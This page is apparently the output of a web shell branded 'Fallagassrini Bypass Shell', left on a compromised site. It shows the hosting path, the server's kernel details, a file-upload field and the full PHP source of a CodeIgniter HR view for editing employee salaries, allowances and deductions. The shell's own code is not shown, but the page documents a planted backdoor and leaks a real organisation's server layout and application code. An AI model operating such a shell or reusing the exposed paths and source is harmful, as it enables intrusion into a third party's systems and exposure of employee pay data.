? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/hr/application/views/Administration/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/hr/application/views/Administration/edit_salary.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>



<div class="select-bar">
    <label><img src="<?=base_url()?>assets/images/backbutton.png" title="Back" class="clickimage" onclick="viewdata('administration','viewinadministrationsearch','search_salary','view_salary','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="25" height="25"  />
    </label>
    <span class="heading">Update Employee Salary Details</span>
</div>

<fieldset>
    <?php
        $attributes=array('id'=>'validateform','class'=>'customForm');
        echo form_open('administration/addinadministration/update_salary/view_salary/1',$attributes);
        $employee = $this->administrationmodel->get_emp_info($viewinfo->employee_id);
        $allowance_list = $this->mastermodel->getdatas('allowance','allowance_name');
        $deduction_list = $this->mastermodel->getdatas('deduction','deduction_name');
        $salary_details = $this->administrationmodel->get_employee_salary_info($viewinfo->employee_id);
        if($employee->emp_non_no[0]==',')
        {
            $employee->emp_non_no=substr($employee->emp_non_no, 1);
        }
        $emp_non_no = str_replace(',',', ', $employee->emp_non_no);
    ?>
    <ul>
         <li>
            <label for="data">Employee Name</label>
                <div class="record_entry">
                    <?php
                        echo $employee->emp_non_full_name;
                    ?>
                    <input type="hidden" name="employee_id" value="<?=$viewinfo->employee_id;?>"/>
                    <input type="hidden" name="salary_id" value="<?=$viewinfo->salary_id;?>"/>
                </div>
         </li>

         <li>
            <label for="data">Employee No</label>
                <div class="record_entry">
                    <?php
                        echo $emp_non_no;
                    ?>
                    
                </div>
         </li>
         <li>
            <label for="data">Joining Date</label>
                <div class="record_entry">
                    <?php
                        echo $this->mastermodel->convertdatenormalformat($employee->emp_non_date_joining);
                    ?>

                </div>
         </li>
         <li>
            <label for="data">Trade</label>
                <div class="record_entry">
                    <?php
                        echo $employee->trade_name;
                    ?>

                </div>
         </li>

         <li>
             <table class="sort">
                 <caption>Employee Previous Salary Details</caption>
                 <tr>
                     <th align="center">WEF Date</th>
                     <th align="center">Basic Salary</th>
                     <th align="center" colspan="2">Allowances</th>
                     <th align="center" colspan="2">Deductions</th>

                 </tr>
                 <?php
                        foreach($salary_details as $salary)
                        {

                 ?>
                 <tr>
                     <td><?=$salary['salary_increment_date'];?></td>
                     <td><?=$salary['salary_increment'];?></td>
                     <?php
                        $allowance = explode('~', $salary['allowance']);
                        $allowance_name= '';
                        $allowance_amount= '';
                        for($i=0;$i<sizeof($allowance);$i++)
                        {
                     ?>
                             <?php if($i%2==0)  $allowance_name .= $allowance[$i]."<br/>";?>
                             <?php if($i%2==1)  $allowance_amount .= $allowance[$i]."<br/>";?>
                     <?php
                        }
                     ?>
                     <td><?=$allowance_name;?></td><td><?=$allowance_amount;?></td>
                     <?php
                        $deduction= explode('~', $salary['deduction']);
                        $deduction_name= '';
                        $deduction_amount= '';

                     ?>
                     <?php
                        for($i=0;$i<sizeof($deduction);$i++)
                        {
                     ?>
                             <?php if($i%2==0)  $deduction_name .= $deduction[$i]."<br/>";?>
                             <?php if($i%2==1)  $deduction_amount .= $deduction[$i]."<br/>";?>
                     <?php
                        }
                     ?>
                     <td><?=$deduction_name;?></td><td><?=$deduction_amount;?></td>
                 </tr>
                 <?php

                        }
                 ?>
             </table>
        </li>
        
         <li>
                <label for="data">WEF Date</label>
                <div class="record_entry">
                       <input type="text" name="salary_increment_date" id="salary_increment_date" value="<?=$this->mastermodel->convertdatenormalformat($viewinfo->salary_increment_date);?>" />
                </div>
          </li>

          <li>
             <table class="sort">
         <caption>Revised Salary</caption>
         <tr>
             <td>
             Baisc Salary
             </td>

             <td>
                  <input type="text" name="salary_increment" id="salary_increment" value="<?=$viewinfo->salary_increment;?>" />
             </td>

         </tr>
             </table>
        </li>

     

         <li>
             <table class="sort">
                 <caption>Allowance</caption>
                 <tr>
                     <th align="center">Select</th>
                     <th align="center">Allowance Type</th>
                     <th align="center">Amount</th>

                 </tr>
                 <?php
                        $i=1;
                        $num = 0;
                        foreach($allowance_list as $allowance)
                        {
                            $num = $this->mastermodel->number_rows('salary_allowance','allowance_id',$allowance['allowance_id'],'salary_id',$viewinfo->salary_id);
                            $allowance_amount = $this->mastermodel->getSingleFieldValueTwo('salary_allowance','allowance_amount','allowance_id',$allowance['allowance_id'],'salary_id',$viewinfo->salary_id);
                 ?>
                 <tr>
                     <td><input style="width:15px;" type="checkbox" name="select_allowance_<?=$i;?>"  <?php if($num > 0){ echo "checked";}?>  /></td>
                     <td>
                         <input type="hidden" name="allowance_id_<?=$i;?>" value="<?=$allowance['allowance_id'];?>"/>
                         <?=$allowance['allowance_name'];?>
                     </td>
                     <td>
                         <input type="text" name="allowance_amount_<?=$i;?>" id="allowance_amount_<?=$i;?>"  value="<?=$allowance_amount;?>"  />
                     </td>

                 </tr>
                 <?php
                    $i++;
                        }
                 ?>
             </table>
        </li>

        <li>
             <table class="sort">
                 <caption>Deduction</caption>
                 <tr>
                     <th align="center">Select</th>
                     <th align="center">Deduction Type</th>
                     <th align="center">Amount</th>

                 </tr>
                 <?php
                        $i=1;
                        $num = 0;
                        foreach($deduction_list as $deduction)
                        {
                            $num = $this->mastermodel->number_rows('salary_deduction','deduction_id',$deduction['deduction_id'],'salary_id',$viewinfo->salary_id);
                            $deduction_amount = $this->mastermodel->getSingleFieldValueTwo('salary_deduction','deduction_amount','deduction_id',$deduction['deduction_id'],'salary_id',$viewinfo->salary_id);
                 ?>
                 <tr>
                     <td><input style="width:15px;" type="checkbox" name="select_deduction_<?=$i;?>"  <?php if($num > 0){ echo "checked";}?>  /></td>
                     <td>
                         <input type="hidden" name="deduction_id_<?=$i;?>" value="<?=$deduction['deduction_id'];?>"/>
                         <?=$deduction['deduction_name'];?>
                     </td>
                     <td>
                         <input type="text" name="deduction_amount_<?=$i;?>" id="deduction_amount_<?=$i;?>" value="<?=$deduction_amount;?>" />
                     </td>

                 </tr>
                 <?php
                    $i++;
                        }
                 ?>
             </table>
        </li>
        
         <li>

                <label for="data">Remarks</label>
                 <?php
                      $data = array(
                      'name'        => 'remarks',
                      'id'          => 'remarks',
                      'value'   => $viewinfo->remarks
                      );
                      echo form_textarea($data).form_error($data);
                 ?>
        </li>



        
         <li>
            <input type="hidden" name="tab_name" value="salary"/>
            <input type="hidden" name="resfunction" value="search_salary"/>
        </li>
        <li>
            <label for="submit">&nbsp;</label>
            <button type="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
        </li>
    </ul>
<?php echo form_close();?>
</fieldset>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net